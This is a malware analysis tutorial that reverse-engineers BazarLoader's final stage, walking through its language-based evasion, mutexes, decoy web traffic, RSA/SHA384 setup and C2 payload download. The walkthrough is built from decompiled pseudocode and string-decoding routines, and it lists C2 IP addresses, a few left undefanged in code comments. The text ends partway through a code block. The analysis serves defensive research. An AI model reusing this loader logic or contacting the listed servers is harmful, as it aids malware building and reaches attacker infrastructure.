BAZARLOADER: Analysing The Main Loader | 0ffset Training Solutions

By Chuong Dong

Published: 2022-05-27 · Archived: 2026-04-05 23:09:14 UTC

This post is a follow up on the last one on BAZARLOADER. If you're interested in how to unpack the initial stages of this malware, you can check it out [here](#).

In this post, we'll cover the final stage of this loader, which has the capability to download and executes remote payloads such as Cobalt Strike and Conti ransomware. To follow along, you can grab the sample as well as the PCAP files for it on [Malware-Traffic-Analysis.net](#).

Step 1: Checking System Languages

Similar to a lot of malware, BAZARLOADER manually checks the system's languages to avoid executing on machines in Russia and nearby countries.

It calls **GetSystemDefaultLangID** to retrieve the system's default language and **GetKeyboardLayoutList** to iterate through the system's keyboard layouts.

```
SystemDefaultLangID = w_GetSystemDefaultLangID(&LIB_STRUCT_ARR->lib_struct_kernel32->lib_funcs);
CLSID_arg_provided = check_language(SystemDefaultLangID);
if ( CLSID_arg_provided )
  goto EXIT_PROC_FAIL;
max_layout_count = w_GetKeyboardLayoutList(LIB_STRUCT_ARR->lib_struct_user32, 0, 0i64);
ProcessHeap = GetProcessHeap();
keyboard_layout_list = HeapAlloc(ProcessHeap, 0, 8i64 * max_layout_count);
if ( keyboard_layout_list )
{
  v6 = 0;
  w_GetKeyboardLayoutList(LIB_STRUCT_ARR->lib_struct_user32, max_layout_count, keyboard_layout_list);
  for ( layout_index = 0i64;
        max_layout_count > layout_index && !v6;
        v6 = check_language(keyboard_layout_list[layout_index]) )
  {
    ;
  }
  v8 = GetProcessHeap();
  HeapFree(v8, 0, keyboard_layout_list);
  if ( v6 )
  {
XIT_PROC_FAIL:
    v2 = 0;
    goto EXIT_PROC;
  }
}
```

For each of these languages, the malware checks if it's valid using a bitmask.

If the language identifier is greater than 0x43 or less than 0x18, it's treated as valid and BAZARLOADER proceeds with its execution.

If it’s in the range between 0x18 and 0x43, the difference between the language identifier and 0x18 is used as the index of the bit to be checked in the bitmask.

The bitmask that BAZARLOADER uses is 0xD8080190C03, which is **11011000000010000000000110010000110000000011** in binary. The first bit in the bitmask is checked if the language ID is 0x18. The second bit is checked if the language ID is 0x19, and so on…

```
unsigned __int64 __fastcall check_language(char language_ID)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  result = 0i64;
  v2 = language_ID - 0x18;
  if ( v2 <= 0x2Bu )
    return (0xD8080190C03ui64 >> v2) & 1;
  return result;
}
```

Below is the list of all languages from the bitmask that the malware avoids.

```
Romanian, Russian, Ukrainian, Belarusian, Tajik, Armenian, Azerbaijani, Georgian, Kazakh, Kyrgyz, Turkmen, Uzbe
```

Step 2: Run-Once Mutex

To check for multiple running instances of itself, BAZARLOADER first extracts the subauthority of a SID from its process. It does this by calling **GetTokenInformation** to retrieve the process’s token integrity level and calling **GetSidSubAuthorityCount** and **GetSidSubAuthority** to access the subauthority of a SID.

```
  result = w_GetTokenInformation(
             LIB_STRUCT_ARR->lib_struct_advapi32,
             current_process_token,
             TokenIntegrityLevel,
             token_integrity_level,
             v16,
             &dwBytes);
  if ( result )
  {
    v10 = LIB_STRUCT_ARR->lib_struct_advapi32;
    SidSubAuthorityCount = w_GetSidSubAuthorityCount(v10, token_integrity_level_1->Label.Sid);
    v12 = v10;
    result = 1;
    *Sid_Sub_Authority = *w_GetSidSubAuthority(v12, token_integrity_level_1->Label.Sid, *SidSubAuthorityCount - 1);
  }
  ProcessHeap = GetProcessHeap();
  HeapFree(ProcessHeap, 0, token_integrity_level_1);
```

If the SID’s subauthority is **SECURITY_MANDATORY_SYSTEM_RID** or **SECURITY_MANDATORY_PROTECTED_PROCESS_RID**, BAZARLOADER checks if the mutex **“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”** is currently owned by any other process by calling **CreateMutexA**.

If it is, the malware terminates itself. However, there is a small bug with the condition to check if the mutex object exists, which assumes it fails to open the mutex when it actually succeeds.

```
if ( curr_SID_sub_auth - SECURITY_MANDATORY_SYSTEM_RID > 0xFFF )
{
  v56[0x26] = 6;                        // 0x4000 and above:
                                        // SECURITY_MANDATORY_SYSTEM_RID +
                                        //  SECURITY_MANDATORY_PROTECTED_PROCESS_RID
  *v56 = 0x534A1F5528011D58i64;
  *&v56[8] = 0x53241F1F2651244Ai64;
  *&v56[0x10] = 0x2A55487124517C01i64;
  *&v56[0x18] = 0x281D1F5128287C24i64;
  *&v56[0x20] = 0x287C717C;
  *&v56[0x24] = 0x2F4A;
  qmemcpy(&stack_string, v56, 0x27ui64);
  v17 = 0i64;
  v67 = 0;                              // "{b837ef4f-10ee-4821-ac76-2331eb32a23f}"
  do...
  mutex_handle = w_CreateMutexA(lib_struct_kernel32, 0i64, 0, &stack_string);
  if ( mutex_handle )                   // bug: should be if (!mutex_handle)
  {
    LastError = w_GetLastError(LIB_STRUCT_ARR->lib_struct_kernel32);
    mutex_handle_1 = mutex_handle;
    v14 = LIB_STRUCT_ARR->lib_struct_kernel32;
    if ( LastError == ERROR_ALREADY_EXISTS )
      goto TERMINATE;
    w_CloseHandle(v14, mutex_handle);
  }
```

After this, the malware resolves the string **"{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}"** and tries to create a mutex with that name.

```
 *&v57[0x20] = 0xA485710;
 *&v57[0x24] = 0x4E19;
 v15 = LIB_STRUCT_ARR->lib_struct_kernel32;
 v57[0x26] = 0x5D;
 *v57 = 0x4219757A7A0A483Fi64;
 *&v57[8] = 0x6671053D600A7142i64;
 *&v57[0x10] = 0x4248424C71104842i64;
 *&v57[0x18] = 0x4C0A571F48102E71i64;
 qmemcpy(&stack_string, v57, 0x27ui64);
 v19 = 0i64;
 v67 = 0;                                // "{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}"
 do
 {
   *(&stack_string + v19) = (0x22 * (*(&stack_string + v19) - 0x5D) % 0x7F + 0x7F) % 0x7F;
   ++v19;
 }
 while ( v19 != 0x27 );
```

```
}
BAZAR_MUTEX_HANDLE = w_CreateMutexA(v15, 0i64, 0, &stack_string);
if ( !BAZAR_MUTEX_HANDLE || w_GetLastError(LIB_STRUCT_ARR->lib_struct_kernel32) != ERROR_ALREADY_EXISTS )
{
```

If this mutex object already exists, the malware also terminates itself.

If the SID's subauthority is not **SECURITY_MANDATORY_SYSTEM_RID** or **SECURITY_MANDATORY_PROTECTED_PROCESS_RID**, BAZARLOADER still uses these two mutex names but adds the string **"Global\"** in front of them. This checks for the mutexes in the global namespace instead of the per-session namespace, which allows the malware to check if it has instances running in other users' sessions.

Step 4: Generating Random Internet Traffic

To generate Internet activities to hide its communication with C2 servers, BAZARLOADER first calls **InternetOpenA** to initialize the use of **WinINet** functions with the following string as the HTTP user agent.

```
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
```

```
lib_struct_wininet = LIB_STRUCT_ARR->lib_struct_wininet;
*v3 = 0xE4C31315B6B0766i64;
*&v3[8] = 0x155B597061001C39i64;
*&v3[0x10] = 0x610458614E160722i64;
*&v3[0x18] = 0x4A596164001C0071i64;
*&v3[0x20] = 0x5B5C046164472B59i64;
*&v3[0x28] = 0x1C1D0E40151422i64;
*&v3[0x30] = 0x1C717172245C6164i64;
*&v3[0x38] = 0x61143F5B31616200i64;
*&v3[0x40] = 0x3F30143B;
*&v3[0x44] = 0x2507;
qmemcpy(user_agent_str, v3, 0x46ui64);
v1 = 0i64;
user_agent_str[0x46] = 0;
do
{
  user_agent_str[v1] = (9 * (user_agent_str[v1] - 0x25) % 0x7F + 0x7F) % 0x7F;
  ++v1;                                         // Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
}
while ( v1 != 0x46 );
INTERNET_HANDLE = w_InternetOpenA(lib_struct_wininet, user_agent_str, 0, 0, 0i64, 0);
return INTERNET_HANDLE != 0;
```

The malware then spawns a thread to periodically connect to random URLs and generate noises to hide the main C2 traffic by utilizing the following structure.

```
 struct random_internet_thread_struct
{
    HINTERNET internet_sess_handle;
    HANDLE thread_handle;
    random_internet_thread_struct *self;
    LPCRITICAL_SECTION critical_section;
    __int64 padding[4];
    int creation_flag;
};
```

First, BAZARLOADER calls **InitializeCriticalSection** to initialize the structure's critical section object, which is later used to protect accesses to the **creation_flag** field.

```
__int64 __fastcall init_thread_critical_section(internet_thread_struct *internet_thread_struct, __int64 HANDLE)
{
  LPVOID *p_thread_param; // rdi
  __int64 i; // rcx

  internet_thread_struct->internet_sess_handle = HANDLE;
  p_thread_param = &internet_thread_struct->self;
  internet_thread_struct->thread_handle = 0i64;
  for ( i = 0xEi64; i; --i )
  {
    *p_thread_param = 0;
    p_thread_param = (p_thread_param + 4);
  }
  return w_InitializeCriticalSection(LIB_STRUCT_ARR->lib_struct_kernel32, &internet_thread_struct->critical_section);
}
```

Next, it sets the **self** field to point to the structure, the **creation_flag** field to **TRUE**, and calls **CreateThread** to spawn a thread to perform these random Internet operations. If it fails to create a thread, the **creation_flag** field is set to **FALSE**.

```
void __fastcall create_thread_try_connecting_API_get(internet_thread_struct *internet_thread_struct)
{
  void *thread_handle; // rax
  __int64 v3; // [rsp+28h] [rbp-20h]

  if ( !internet_thread_struct->thread_handle )
  {
    internet_thread_struct->self = internet_thread_struct;
    LOBYTE(internet_thread_struct->creation_flag) = TRUE;
    LODWORD(v3) = 0;
    thread_handle = w_CreateThread(
                      LIB_STRUCT_ARR->lib_struct_kernel32,
                      0i64,
                      0i64,
                      w_try_connecting_API_get,
                      &internet_thread_struct->self,
                      v3,
                      0i64);
    internet_thread_struct->thread_handle = thread_handle;
    if ( !thread_handle )
      LOBYTE(internet_thread_struct->creation_flag) = FALSE;
  }
}
```

The thread first tries to obtain ownership of the critical section object and check if the creation flag is enabled. If it is, the malware resolves the following URLs as stack strings.

```
 https://google.com/api/get
https://yahoo.com/api/get
https://amazon.com/api/get
https://bing.com/api/get
```

```
int __fastcall try_connecting_API_get(internet_thread_struct *internet_thread_struct)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v2 = gen_random_4_bytes();
  w_Sleep(LIB_STRUCT_ARR->lib_struct_kernel32, v2 % 0x15F91 + 0x7530);
  w_EnterCriticalSection(LIB_STRUCT_ARR->lib_struct_kernel32, &internet_thread_struct->critical_section);
  creation_flag = internet_thread_struct->creation_flag;
  result = w_LeaveCriticalSection(LIB_STRUCT_ARR->lib_struct_kernel32, &internet_thread_struct->critical_section);
  if ( creation_flag )
  {
    v42[0x1A] = 0x25;
    *&v42[0x18] = 0x4014;
    lib_struct_shlwapi = LIB_STRUCT_ARR->lib_struct_shlwapi;
    *v42 = 0xE0E724E78404069i64;
    *&v42[8] = 0x301C143177070777i64;
    *&v42[0x10] = 0x770E5B784C0E2307i64;        // "https://google.com/api/get"
    qmemcpy(api_get_url, v42, sizeof(api_get_url));
    v6 = 0i64;
    v45 = 0;
    do
    {
      api_get_url[v6] = (9 * (api_get_url[v6] - 0x25) % 0x7F + 0x7F) % 0x7F;
      ++v6;
    }
```

Next, the thread enters an infinite loop to start generating the traffic noises. For random number generation, BAZARLOADER uses different functions that call the Windows API **BCryptGenRandom** to generate a set number of random bytes.

It randomly chooses one of the 4 URLs listed above, randomly generates the URL path segments for that, and combines the two to build the full URL.

```
while ( TRUE )
{
  random_index = gen_random_number();
  *random_URL_path_segments = 0i64;
  if ( gen_random_URL_path_segments(random_URL_path_segments, 1i64, 5i64, 0x10i64, 0x30i64) )
  {
    ProcessHeap = GetProcessHeap();
    full_API_get_URL = HeapAlloc(ProcessHeap, 0, 0x201ui64);
    random_URL_path_segments_1 = *random_URL_path_segments;
    full_API_get_URL_1 = full_API_get_URL;
    if ( full_API_get_URL )
    {
      lstrcpyA(full_API_get_URL, get_URL_list[random_index & 3]);
      lstrcatA(full_API_get_URL_1, random_URL_path_segments_1);
      LODWORD(v32) = 0x20C00000;
      LODWORD(v31) = 0;
      v19 = w_InternetOpenUrlA(
              LIB_STRUCT_ARR->lib_struct_wininet,
              internet_thread_struct->internet_sess_handle,
              full_API_get_URL_1,
              0i64,
              v31,
              v32,
              0i64);
```

To generate the path segments, the function takes in the minimum and maximum numbers of path segments to generate and the minimum and maximum length for each path segment.

It generates a count for the path segments randomly in the given range. For each of the segments, the malware randomly generates a string with a random length in the given range that contains numbers and uppercase/lowercase letters.

```
path_segment_count = gen_random_number() % (higher_path_segments_count + 1 - lower_path_segments_count)
                   + lower_path_segments_count;// generate a random path segment count
proc_heap_handle = GetProcessHeap();
full_path_segments_str = HeapAlloc(proc_heap_handle, 0, path_segment_count * (upper_length + 1) + 2);
result = 0;
if ( full_path_segments_str )
{
  v11 = 1i64;
  *full_path_segments_str = 0x2F;
  for ( i = 0i64; i != path_segment_count; ++i )
  {
    random_str_length = gen_random_number() % (upper_length + 1 - lower_length) + lower_length;// generate
                                                                           // random path segment length
    if ( generate_random_ASCII_string(&full_path_segments_str[v11], random_str_length + 1) )// generate
                                                                           // random path segment string
    {
      v14 = v11 + random_str_length;
      full_path_segments_str[v14] = '/';      // separate by path segments by "/"
      v11 = v14 + 1;
    }
  }
  full_path_segments_str[v11] = 0;
  result = 1;
  *output = full_path_segments_str;
}
```

Finally, the malware calls **InternetOpenURLA** to establish a connection with the generated URL. It calls **HTTPQueryInfoA** with the **HTTP_QUERY_CONTENT_LENGTH** flag to retrieve the content's length, allocates a buffer with that size, and calls **InternetReadFile** to read data from that URL.

```
internet_handle = w_InternetOpenUrlA(
                    LIB_STRUCT_ARR->lib_struct_wininet,
                    internet_thread_struct->internet_sess_handle,
                    full_API_get_URL_1,
                    0i64,
                    v31,
                    v32,
                    0i64);
if ( internet_handle )
{
  http_content_length_1 = 0;
  lib_struct_wininet = LIB_STRUCT_ARR->lib_struct_wininet;
  v36 = 4;
  w_HttpQueryInfoA(lib_struct_wininet, internet_handle, 0x20000005u, &http_content_length_1, &v36, 0i64);
  http_content_length = http_content_length_1;
  v21 = GetProcessHeap();
  http_buffer = HeapAlloc(v21, 0, http_content_length);
  if ( http_buffer )
  {
    http_buffer_1 = http_buffer;
    v38 = 0;
    w_InternetReadFile(
      LIB_STRUCT_ARR->lib_struct_wininet,
      internet_handle,
      http_buffer,
      http_content_length_1,
      &v38);
```

This is done repeatedly until C2 communication and payload injection are finished, which generates a lot of noise to mask the main traffic coming to and from C2 servers.

Step 4: Cryptographic Structure Population

BAZARLOADER mainly uses the following structure for communication with C2 servers. The fields of the structure will be explained as we go along analyzing the code.

```
 struct __declspec(align(8)) BazarLoader_struct
{
    C2_connection_struct C2_connection_struct;
    HINTERNET C2_request_handle;
    HINTERNET C2_temp_request_handle;
    crypto_struct crypto_struct;
    SYSTEMTIME curr_system_time;
    char *datetime_string;
    _QWORD datetime_string_hash;
    unsigned int *datetime_string_hash_len;
    opennic_server_struct opennic_DNS_server_struct;
    string_struct_list C2_addr_list;
};
```

First, it populates the **crypto_struct** field in the main structure. This structure contains cryptographic handles that are later used to decrypt executables being sent from C2 servers.

The structure can be reconstructed as below.

```
 struct crypto_struct
{
    BCRYPT_ALG_HANDLE RSA_algo_handle;
```

```
    BCRYPT_ALG_HANDLE SHA384_algo_handle;
    BCRYPT_KEY_HANDLE RSA_public_key_handle;
    BCRYPT_KEY_HANDLE RSA_private_key_handle;
    DWORD RSA_public_block_length;
    DWORD RSA_private_block_length;
};
```

The malware resolves the strings **“RSA”** and **“SHA384”** and calls **BCryptOpenAlgorithmProvider** to retrieve handles for these two algorithms. The handles are stored in the corresponding fields in the **crypto_struct** structure.

```
crypto_struct->RSA_algo_handle = 0i64;
crypto_struct->SHA384_algo_handle = 0i64;
crypto_struct->RSA_public_key_handle = 0i64;
crypto_struct->RSA_private_key_handle = 0i64;
*&crypto_struct->RSA_public_block_length = 0i64;
for ( i = 0i64; i != 4; ++i )                   // "RSA"
  *&RSA_str[2 * i] = (0x37 * (*&RSA_str[2 * i] - 0x56) % 0x7F + 0x7F) % 0x7F;
w_lstrcpyW(lib_struct_kernel32, RSA_str_1, RSA_str);
w_BCryptOpenAlgorithmProvider(LIB_STRUCT_ARR->lib_struct_bcrypt, crypto_struct, RSA_str_1, 0i64, 0);
*&v14[8] = 0x48001E;
v4 = LIB_STRUCT_ARR->lib_struct_kernel32;
*&v14[0xC] = 0x6E;
*v14 = 0x13007E00740040i64;
qmemcpy(RSA_str, v14, sizeof(RSA_str));
v5 = 0i64;
v16 = 0;
do
{
  *&RSA_str[2 * v5] = (0xC * (*&RSA_str[2 * v5] - 0x6E) % 0x7F + 0x7F) % 0x7F;
  ++v5;
}
while ( v5 != 7 );
w_lstrcpyW(v4, SHA384_str, RSA_str);           // "SHA384"
w_BCryptOpenAlgorithmProvider(
  LIB_STRUCT_ARR->lib_struct_bcrypt,
  &crypto_struct->SHA384_algo_handle,
  SHA384_str,
  0i64,
  0);
```

Next, it resolves its hard-coded RSA public and private key blobs in memory to import their corresponding key handles.

```
*RSA_str = '\b\0\0ASR';
ProcessHeap = GetProcessHeap();
RSA_public_key = HeapAlloc(ProcessHeap, 0, 0x11Bui64);
if ( RSA_public_key )
{
  RSA_str[3] = '1';
  w_RtlCopyMemory(LIB_STRUCT_ARR->lib_struct_rpcrt4, RSA_public_key, RSA_str, 9i64);// RSA1
  w_RtlCopyMemory(LIB_STRUCT_ARR->lib_struct_rpcrt4, RSA_public_key + 9, &RSA1_RAW_KEY, 0x112i64);
  RSA_import_key(crypto_struct, RSA_public_key, 0x11B, 0);// import RSA public key
  v8 = GetProcessHeap();
  HeapFree(v8, 0, RSA_public_key);
}
v9 = GetProcessHeap();
RSA_priv_key = HeapAlloc(v9, 0, 0x49Bui64);
if ( RSA_priv_key )
{
  RSA_str[3] = '3';                         // RSA3
  w_RtlCopyMemory(LIB_STRUCT_ARR->lib_struct_rpcrt4, RSA_priv_key, RSA_str, 9i64);
  w_RtlCopyMemory(LIB_STRUCT_ARR->lib_struct_rpcrt4, RSA_priv_key + 9, &RSA3_RAW_KEY, 0x492i64);
  RSA_import_key(crypto_struct, RSA_priv_key, 0x49B, 1);// import RSA private key
  v11 = GetProcessHeap();
  HeapFree(v11, 0, RSA_priv_key);
}
```

For each blob, the malware resolves one of the strings **"RSAFULLPRIVATEBLOB"** or **"RSAPUBLICBLOB"** and uses it to specify the blob's type when calling **BCryptImportKeyPair** to import the corresponding key handle.

```
v17[0] = 0x220036001E0074i64;
v17[1] = 0x1007C005F0070i64;
v17[2] = 0x78007C005F0009i64;          // "RSAPUBLICBLOB"
while ( v14 )
{
  *v15 = *v13;
  v13 = (v13 + 4);
  v15 += 2;
  --v14;
}
LOBYTE(v20[0xE]) = 0;
do
{
  v20[v14] = (0x1F * (v20[v14] - 0x38) % 0x7F + 0x7F) % 0x7F;
  ++v14;
}
while ( v14 != 0xE );
w_lstrcpyW(v16, v19, v20);
v11 = w_BCryptImportKeyPair(
        LIB_STRUCT_ARR->lib_struct_bcrypt,
        crypto_struct->RSA_algo_handle,
        0i64,
        v19,
        &crypto_struct->RSA_public_key_handle,
        key_blob,
        key_blob_len,
        0);
```

Finally, it calls **BCryptGetProperty** to retrieve the length of the RSA public and private cipher blocks. With this structure fully populated, BAZARLOADER can now perform RSA encryption/decryption as well as SHA384 hashing.

Step 5: C2 Connection Through Raw IP Addresses

Prior to communicating with C2 servers, BAZARLOADER first resolves a list of raw IP addresses and writes them into the **C2_addr_list** field in the main structure.

This field is a structure representing a list of string structures, both of which can be reconstructed as below.

```
 struct string_struct
{
    char *buffer;
    char *length;
    char *max_length;
};

struct string_struct_list
{
    string_struct *list_ptr;
    __int64 count;
    __int64 max_count;
};
```

```
concat_string_struct(&main_struct->C2_addr_list.list_ptr, C2_IP);// https://5.182.207.28:443
v14[0x18] = 0x13;
*v14 = 0x5454537C3714147Di64;
*&v14[8] = 0x5F033D030E3D6B25i64;
*&v14[0x10] = 0x314848531A483D25i64;
qmemcpy(C2_IP, v14, 0x19ui64);
v10 = 0i64;
C2_IP[0x19] = 0;
do
{
  C2_IP[v10] = ((0xFFFFFFF5 * (C2_IP[v10] - 0x13)) % 0x7F + 0x7F) % 0x7F;
  ++v10;
}
while ( v10 != 0x19 );
concat_string_struct(&main_struct->C2_addr_list.list_ptr, C2_IP);// https://80.71.158.42:443
*&v17[0x18] = 0x920;
*v17 = 0x2C2C2B540F6B6B55i64;
*&v17[8] = 0x15713771157C145Ai64;
*&v17[0x10] = 0x202B4E5A157C435Ai64;
v17[0x1A] = 0x6A;
```

Below is the list of all IP addresses for the C2 servers used in this sample.

```
 https://5[.]182[.]207[.]28:443
https://80[.]71[.]158[.]42:443
https://198[.]252[.]108[.]16:443
https://84[.]32[.]188[.]136:443
```

For each of these addresses, the malware attempts to communicate with the corresponding server and download the next stage executable.

To establish a connection, it populates the following structure.

```
 struct C2_connection_struct
{
    URL_COMPONENTSA C2_URL_components;
    HINTERNET connection_handle;
    __int64 connection_last_error;
};
```

The malware calls **InternetCrackUrlA** to retrieve the C2's URL components and **InternetConnectA** to connect to the server.

```
C2_connection_struct->C2_URL_components.dwHostNameLength = C2_hostname_len;
ProcessHeap = GetProcessHeap();
connection_handle = HeapAlloc(ProcessHeap, 0, C2_hostname_len);
C2_connection_struct->C2_URL_components.lpszHostName = connection_handle;
if ( connection_handle )
{
  LODWORD(connection_handle) = w_InternetCrackUrlA(// retrieve URL components
                               LIB_STRUCT_ARR->lib_struct_wininet,
                               C2_hostname,
                               C2_connection_struct->C2_URL_components.dwHostNameLength,
                               0,
                               C2_connection_struct);
  if ( connection_handle )
  {
    LODWORD(v16) = 0;
    LODWORD(v15) = 3;
    connection_handle = w_InternetConnectA(
                        LIB_STRUCT_ARR->lib_struct_wininet,
                        internet_handle,
                        C2_connection_struct->C2_URL_components.lpszHostName,// connect to C2's
                                                  // hostname at specific port
                        C2_connection_struct->C2_URL_components.nPort,
                        0i64,
                        0i64,
                        v15,
                        v16,
                        0i64);
    C2_connection_struct->connection_handle = connection_handle;
```

This connection structure's fields are then copied into the main structure's **C2_connection_struct**. Here, I'm not entirely sure why they don't just populate the main structure directly instead.

```
connection_handle = C2_connection_struct->connection_handle;
main_struct_1 = main_struct;
C2_connection_struct_1 = C2_connection_struct;
for ( i = 0x1Ai64; i; --i )
{                                               // copy the connection struct into main struct
  main_struct_1->C2_connection_struct.C2_URL_components.dwStructSize = C2_connection_struct_1->C2_URL_components.dwStructSize;
  C2_connection_struct_1 = (C2_connection_struct_1 + 4);
  main_struct_1 = (main_struct_1 + 4);
}
main_struct->C2_connection_struct.connection_handle = connection_handle;
C2_connection_struct_2 = C2_connection_struct;
v9 = 0x1Ai64;
main_struct->C2_connection_struct.connection_last_error = C2_connection_struct->connection_last_error;
while ( v9 )
{
  C2_connection_struct_2->C2_URL_components.dwStructSize = 0;// wiping the connection struct afterward
  C2_connection_struct_2 = (C2_connection_struct_2 + 4);
  --v9;
}
result = main_struct;
C2_connection_struct->connection_last_error = 0;
C2_connection_struct->connection_handle = 0i64;
```

Similarly, BAZARLOADER populates the structure below to create an HTTP request to C2. The request's object name and HTTP verb are resolved to be **"/data/service"** and **"GET"**.

```
 struct C2_request_struct
{
    HINTERNET request_handle;
    __int64 request_error;
};
```

```
qmemcpy(&request_object_name, v9, 0xEui64); // "/data/service"
v5 = 0i64;
v12 = 0;
do
{
  *(&request_object_name + v5) = (0x13 * (*(&request_object_name + v5) - 0x1A) % 0x7F + 0x7F) % 0x7F;
  ++v5;
}
while ( v5 != 0xE );
GET_str = 0x22A353C;
v6 = 0i64;
v8 = 0;
do
{
  *(&GET_str + v6) = ((0xFFFFFFDC * (*(&GET_str + v6) - 2)) % 0x7F + 0x7F) % 0x7F;// "GET"
  ++v6;
}
while ( v6 != 4 );
http_open_request(&C2_request_struct, C2_connection_handle, &GET_str, &request_object_name, 0x880000);
move_request_handle_struct(&main_struct->C2_request_handle, &C2_request_struct);
free_request_handle_struct(&C2_request_struct);
```

The request's HTTP version is resolved to be **"HTTP/1.1"**, and BAZARLOADER calls **HttpOpenRequestA** to create this request for the C2 server using the connection handle retrieved above.

It also calls **InternetSetOptionA** to set the timeout for receiving a response and sending the request to 300 seconds and the timeout for connecting to C2s to 120 seconds.

```
for ( i = 0i64; i != 9; ++i )
  v15[i + 9] = ((0xFFFFFFC2 * (v15[i + 9] - 0x33)) % 0x7F + 0x7F) % 0x7F;// "HTTP/1.1"
LODWORD(v12) = a5;
request_handle = w_HttpOpenRequestA(          // create a request handle
                   lib_struct_wininet,
                   connection_handle,
                   connection_verb,
                   object_name,
                   &v15[9],
                   0i64,
                   0i64,
                   v12,
                   0i64);
out_request->request_handle = request_handle;
if ( request_handle )
{
  *&v15[9] = 300000;
  w_InternetSetOptionA(
    LIB_STRUCT_ARR->lib_struct_wininet,       // set timeouts
    request_handle,
    INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT,
    &v15[9],
    4);
  v9 = out_request->request_handle;
  v14 = 300000;
  w_InternetSetOptionA(LIB_STRUCT_ARR->lib_struct_wininet, v9, INTERNET_OPTION_SEND_TIMEOUT, &v14, 4);
  v10 = out_request->request_handle;
  v13 = 120000;
  return w_InternetSetOptionA(LIB_STRUCT_ARR->lib_struct_wininet, v10, INTERNET_OPTION_CONNECT_TIMEOUT, &v13, 4);
```

BAZARLOADER then generates the HTTP header to be appended to the request. It does this by calling **GetSystemTime** to populate the **curr_system_time** and the **datetime_string** field of the main structure with the current date and time.

It also generates the **SHA384** hash of the datetime string to populate the structure's **datetime_string_hash** and **datetime_string_hash_len** fields.

```
system_time_1 = *system_time;
datetime_str = gen_date_time_string(&system_time_1);
main_struct->datetime_string = datetime_str;
if ( datetime_str )
{
  datetime_str_len = lstrlenA(datetime_str);
  LODWORD(datetime_str) = SHA384_hashing(
                            &main_struct->crypto_struct,
                            main_struct->datetime_string,
                            datetime_str_len,
                            &main_struct->datetime_string_hash,
                            &main_struct->datetime_string_hash_len);
  if ( datetime_str )
  {
    main_struct->curr_system_time = system_time_1;
  }
  else
  {
    lpMem = main_struct->datetime_string;
    ProcessHeap = GetProcessHeap();
    LODWORD(datetime_str) = HeapFree(ProcessHeap, 0, lpMem);
    main_struct->datetime_string = 0i64;
  }
}
```

Next, BAZARLOADER signs the generated hash with its RSA private by calling **BCryptSignHash** and uses this hash signature to randomly generate the HTTP header.

Below is the form of the random HTTP header.

▶ BAZARLOADER's HTTP Header

```
__int64 __fastcall get_time_and_generate_http_header(BazarLoader_struct *main_struct, _QWORD *http_header)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  http_header_1 = 0;
  populate_system_time_structs_with_curr_time(main_struct);
  datetime_str_hash = main_struct->datetime_string_hash;
  datetime_str_hash_len = main_struct->datetime_string_hash_len;
  datetime_str_hash_signed[0] = 0i64;
  datetime_str_hash_signed_len = 0;
  if ( w_w_BCryptSignHash(                      // signing hash using RSA private key
         &main_struct->crypto_struct,
         datetime_str_hash,
         datetime_str_hash_len,
         datetime_str_hash_signed,
         &datetime_str_hash_signed_len) )
  {
    v7 = datetime_str_hash_signed[0];
    http_header_1 = generate_http_header(       // randomly generate HTTP header
                      main_struct->datetime_string,
                      datetime_str_hash_signed[0],
                      datetime_str_hash_signed_len,
                      http_header);
    lib_struct_kernel32 = LIB_STRUCT_ARR->lib_struct_kernel32;
    ProcessHeap = w_GetProcessHeap(LIB_STRUCT_ARR->lib_struct_kernel32);
    w_HeapFree(lib_struct_kernel32, ProcessHeap, 0, v7);
  }
  return http_header_1;
}
```

With the generated HTTP header and the request handle, BAZARLOADER calls **HttpSendRequestA** to send the request to the C2 server and calls **HttpQueryInfoA** to retrieve the status code.

If the status code is not **HTTP_STATUS_OK**, the malware moves on to another C2 address.

```
  http_header = get_time_and_generate_http_header(main_struct, additional_http_header);
  if ( !http_header )
    return 0;
  additional_http_header_1 = additional_http_header[0];
  additional_http_header_len = lstrlenA(additional_http_header[0]);
  if ( !w_w_HttpSendRequestA(
          &main_struct->C2_request_handle,
          additional_http_header_1,
          additional_http_header_len,
          0i64,
          0) )
  {
    ProcessHeap = GetProcessHeap();
    v10 = additional_http_header_1;
    v11 = ProcessHeap;
ABEL_11:
    HeapFree(v11, 0, v10);
    return 0;
  }
  v12 = GetProcessHeap();
  HeapFree(v12, 0, additional_http_header_1);
  if ( HttpQueryInfoA_status_code(&main_struct->C2_request_handle) != HTTP_STATUS_OK )
    return 0;
```

If the status code is **HTTP_STATUS_OK**, BAZARLOADER calls **InternetQueryDataAvailable** to determine the size of data to read, allocates the memory buffer according to the size, and calls **InternetReadFile** to read the next-stage payload until everything is written into memory.

```
receive_read_offset = 0i64;
receive_buffer = 0i64;
do
{
  result = w_InternetQueryDataAvailable(
             LIB_STRUCT_ARR->lib_struct_wininet,
             C2_request_handle_struct->request_handle,
             &lpdwNumberOfBytesAvailable,
             0,
             0i64);
  if ...
  if ...
  if ...
  lpdwNumberOfBytesRead[0] = 0;
  result = w_InternetReadFile(
             LIB_STRUCT_ARR->lib_struct_wininet,
             C2_request_handle_struct->request_handle,
             receive_buffer + receive_read_offset,
             lpdwNumberOfBytesAvailable,
             lpdwNumberOfBytesRead);
  if ( !result )
  {
    C2_request_handle_struct->request_error = w_GetLastError(LIB_STRUCT_ARR->lib_struct_kernel32);
    v13 = GetProcessHeap();
    HeapFree(v13, 0, receive_buffer);
    return result;
  }
  receive_read_offset += lpdwNumberOfBytesRead[0];
}
while ( lpdwNumberOfBytesAvailable );
```

Finally, the malware decrypts the payload with its RSA public key by calling **BCryptDecrypt** and checks to make sure the payload's size is greater than 64 bytes and that it contains an MZ header.

```
if ( HttpQueryInfoA_status_code(&main_struct->C2_request_handle) != HTTP_STATUS_OK )
  return 0;
server_response = 0i64;
server_response_len = 0i64;
if ( !read_server_response(&main_struct->C2_request_handle, &server_response, &server_response_len) )
